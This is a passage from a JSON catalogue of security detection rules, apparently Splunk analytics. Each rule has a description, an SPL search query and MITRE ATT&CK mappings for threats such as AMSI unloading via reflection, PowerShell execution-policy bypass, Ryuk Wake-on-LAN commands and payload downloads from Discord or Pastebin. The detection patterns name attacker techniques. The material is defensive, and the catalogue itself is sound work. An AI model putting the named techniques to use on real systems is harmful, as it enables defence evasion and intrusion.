"Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains stream command in $ScriptBlockText$ commonly for processing compressed or to decompressed binary file with EventCode $EventCode$ in host $Computer$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Using memory As Backing Store", - "description": "The following analytic detects suspicious PowerShell script execution using memory streams as a backing store, identified via EventCode 4104. It leverages PowerShell Script Block Logging to capture scripts that create new objects with memory streams, often used to decompress and execute payloads in memory. This activity is significant as it indicates potential in-memory execution of malicious code, bypassing traditional file-based detection. If confirmed malicious, this technique could allow attackers to execute arbitrary code, maintain persistence, or escalate privileges without leaving a trace on the disk.", - "search": "`powershell` EventCode=4104 ScriptBlockText = *New-Object* ScriptBlockText = *IO.MemoryStream* | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_using_memory_as_backing_store_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "IcedID", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell script contains memorystream command on host $dest$.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Process Writing DynamicWrapperX", - "description": "The following analytic detects a process writing the dynwrapx.dll file to disk and registering it in the registry. It leverages data from the Endpoint datamodel, specifically monitoring process and filesystem events. This activity is significant because DynamicWrapperX is an ActiveX component often used in scripts to call Windows API functions, and its presence in non-standard locations is highly suspicious. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or maintain persistence within the environment. Immediate investigation of parallel processes and registry modifications is recommended.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes by _time Processes.process_id Processes.process_name Processes.dest Processes.process_guid Processes.user | `drop_dm_object_name(Processes)` | join process_guid [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Filesystem where Filesystem.file_name=\"dynwrapx.dll\" by _time Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid Filesystem.user | `drop_dm_object_name(Filesystem)` | fields _time process_guid file_path file_name file_create_time user dest process_name] | stats count min(_time) as firstTime max(_time) as lastTime by dest process_name process_guid file_name file_path file_create_time user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `process_writing_dynamicwrapperx_filter`", - "tags": { - "analytic_story": [ - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ downloading the DynamicWrapperX dll.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1559.001", - "mitre_attack_technique": "Component Object Model", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "Gamaredon Group", - "MuddyWater" - ] - } - ] - } - }, - { - "name": "Ryuk Wake on LAN Command", - "description": "The following analytic detects the use of Wake-on-LAN commands associated with Ryuk ransomware. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific process and command-line activities. This behavior is significant as Ryuk ransomware uses Wake-on-LAN to power on devices in a compromised network, increasing its encryption success rate. If confirmed malicious, this activity could lead to widespread ransomware encryption across multiple endpoints, causing significant operational disruption and data loss. Immediate isolation and thorough investigation of the affected endpoints are crucial to mitigate the impact.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process=\"*8 LAN*\" OR Processes.process=\"*9 REP*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `ryuk_wake_on_lan_command_filter`", - "tags": { - "analytic_story": [ - "Ryuk Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $process_name$ with wake on LAN commandline $process$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Set Default PowerShell Execution Policy To Unrestricted or Bypass", - "description": "The following analytic detects changes to the PowerShell ExecutionPolicy in the registry to \"Unrestricted\" or \"Bypass.\" It leverages data from Endpoint Detection and Response (EDR) agents, focusing on registry modifications under the path *Software\\Microsoft\\Powershell\\1\\ShellIds\\Microsoft.PowerShell*. This activity is significant because setting the ExecutionPolicy to these values can allow the execution of potentially malicious scripts without restriction. If confirmed malicious, this could enable an attacker to execute arbitrary code, leading to further compromise of the system and potential escalation of privileges.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=*Software\\\\Microsoft\\\\Powershell\\\\1\\\\ShellIds\\\\Microsoft.PowerShell* Registry.registry_value_name=ExecutionPolicy (Registry.registry_value_data=Unrestricted OR Registry.registry_value_data=Bypass)) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `set_default_powershell_execution_policy_to_unrestricted_or_bypass_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "DarkGate Malware", - "Data Destruction", - "HAFNIUM Group", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "registry_path", - "type": "Unknown", - "role": [ - "Other" - ] - } - ], - "message": "A registry modification in $registry_path$ with reg key $registry_key_name$ and reg value $registry_value_name$ in host $dest$", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Suspicious Process DNS Query Known Abuse Web Services", - "description": "The following analytic detects a suspicious process making DNS queries to known, abused text-paste web services, VoIP, instant messaging, and digital distribution platforms. It leverages Sysmon Event ID 22 logs to identify queries from processes like cmd.exe, powershell.exe, and others. This activity is significant as it may indicate an attempt to download malicious files, a common initial access technique. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further compromise of the target host.", - "search": "`sysmon` EventCode=22 QueryName IN (\"*pastebin*\", \"*discord*\", \"*api.telegram*\",\"*t.me*\") process_name IN (\"cmd.exe\", \"*powershell*\", \"pwsh.exe\", \"wscript.exe\",\"cscript.exe\") OR Image IN (\"*\\\\users\\\\public\\\\*\", \"*\\\\programdata\\\\*\", \"*\\\\temp\\\\*\", \"*\\\\Windows\\\\Tasks\\\\*\", \"*\\\\appdata\\\\*\", \"*\\\\perflogs\\\\*\") | stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryStatus process_name QueryResults Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_process_dns_query_known_abuse_web_services_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Phemedrone Stealer", - "Remcos", - "Snake Keylogger", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "suspicious process $process_name$ has a dns query in $QueryName$ on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.005", - "mitre_attack_technique": "Visual Basic", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Earth Lusca", - "FIN13", - "FIN4", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Molerats", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "Transparent Tribe", - "Turla", - "WIRTE", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Suspicious Process With Discord DNS Query", - "description": "The following analytic identifies a process making a DNS query to Discord, excluding legitimate Discord application paths. It leverages Sysmon logs with Event ID 22 to detect DNS queries containing \"discord\" in the QueryName field. This activity is significant because Discord can be abused by adversaries to host and download malicious files, as seen in the WhisperGate campaign. If confirmed malicious, this could indicate malware attempting to download additional payloads from Discord, potentially leading to further code execution and compromise of the affected system.", - "search": "`sysmon` EventCode=22 QueryName IN (\"*discord*\") Image != \"*\\\\AppData\\\\Local\\\\Discord\\\\*\" AND Image != \"*\\\\Program Files*\" AND Image != \"discord.exe\" | stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryStatus process_name QueryResults Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_process_with_discord_dns_query_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "suspicious process $process_name$ has a dns query in $QueryName$ on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.005", - "mitre_attack_technique": "Visual Basic", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Earth Lusca", - "FIN13", - "FIN4", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Molerats", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "Transparent Tribe", - "Turla", - "WIRTE", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Unloading AMSI via Reflection", - "description": "The following analytic detects the tampering of AMSI (Antimalware Scan Interface) via PowerShell reflection. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze suspicious PowerShell commands, specifically those involving `system.management.automation.amsi`. This activity is significant as it indicates an attempt to bypass AMSI, a critical security feature that helps detect and block malicious scripts. If confirmed malicious, this could allow an attacker to execute harmful code undetected, leading to potential system compromise and data exfiltration.", - "search": "`powershell` EventCode=4104 ScriptBlockText = *system.management.automation.amsi* | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `unloading_amsi_via_reflection_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible AMSI Unloading via Reflection using PowerShell on $Computer$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Vbscript Execution Using Wscript App", - "description": "The following analytic detects the execution of VBScript using the wscript.exe application. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. This activity is significant because wscript.exe is typically not used to execute VBScript, which is usually associated with cscript.exe. This deviation can indicate an attempt to evade traditional process monitoring and antivirus defenses. If confirmed malicious, this technique could allow attackers to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name = \"wscript.exe\" AND Processes.parent_process = \"*//e:vbscript*\") OR (Processes.process_name = \"wscript.exe\" AND Processes.process = \"*//e:vbscript*\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process_id Processes.process Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `vbscript_execution_using_wscript_app_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "FIN7", - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Process name $process_name$ with commandline $process$ to execute vbsscript", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.005", - "mitre_attack_technique": "Visual Basic", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Earth Lusca", - "FIN13", - "FIN4", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Molerats", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "Transparent Tribe", - "Turla", - "WIRTE", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Wermgr Process Spawned CMD Or Powershell Process", - "description": "The following analytic detects the spawning of cmd or PowerShell processes by the wermgr.exe process. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process telemetry, including parent-child process relationships and command-line executions. This behavior is significant as it is commonly associated with code injection techniques used by malware like TrickBot to execute shellcode or malicious DLL modules. If confirmed malicious, this activity could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a severe threat to system security.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as cmdline min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name = \"wermgr.exe\" `process_cmd` OR `process_powershell` by Processes.parent_process_name Processes.original_file_name Processes.parent_process_id Processes.process_name Processes.process Processes.process_id Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wermgr_process_spawned_cmd_or_powershell_process_filter`", - "tags": { - "analytic_story": [ - "Qakbot", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Wermgr.exe spawning suspicious processes on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Apache Benchmark Binary", - "description": "The following analytic detects the execution of the Apache Benchmark binary (ab.exe), commonly used by MetaSploit payloads. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the original file name is ab.exe. This activity is significant as it may indicate the presence of a MetaSploit attack, which uses Apache Benchmark to generate malicious payloads. If confirmed malicious, this could lead to unauthorized network connections, further system compromise, and potential data exfiltration. Immediate investigation is required to determine the intent and scope of the activity.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.original_file_name=ab.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_apache_benchmark_binary_filter`", - "tags": { - "analytic_story": [ - "MetaSploit" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A known MetaSploit default payload has been identified on $dest$ ran by $user$, $parent_process_name$ spawning $process_name$.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - 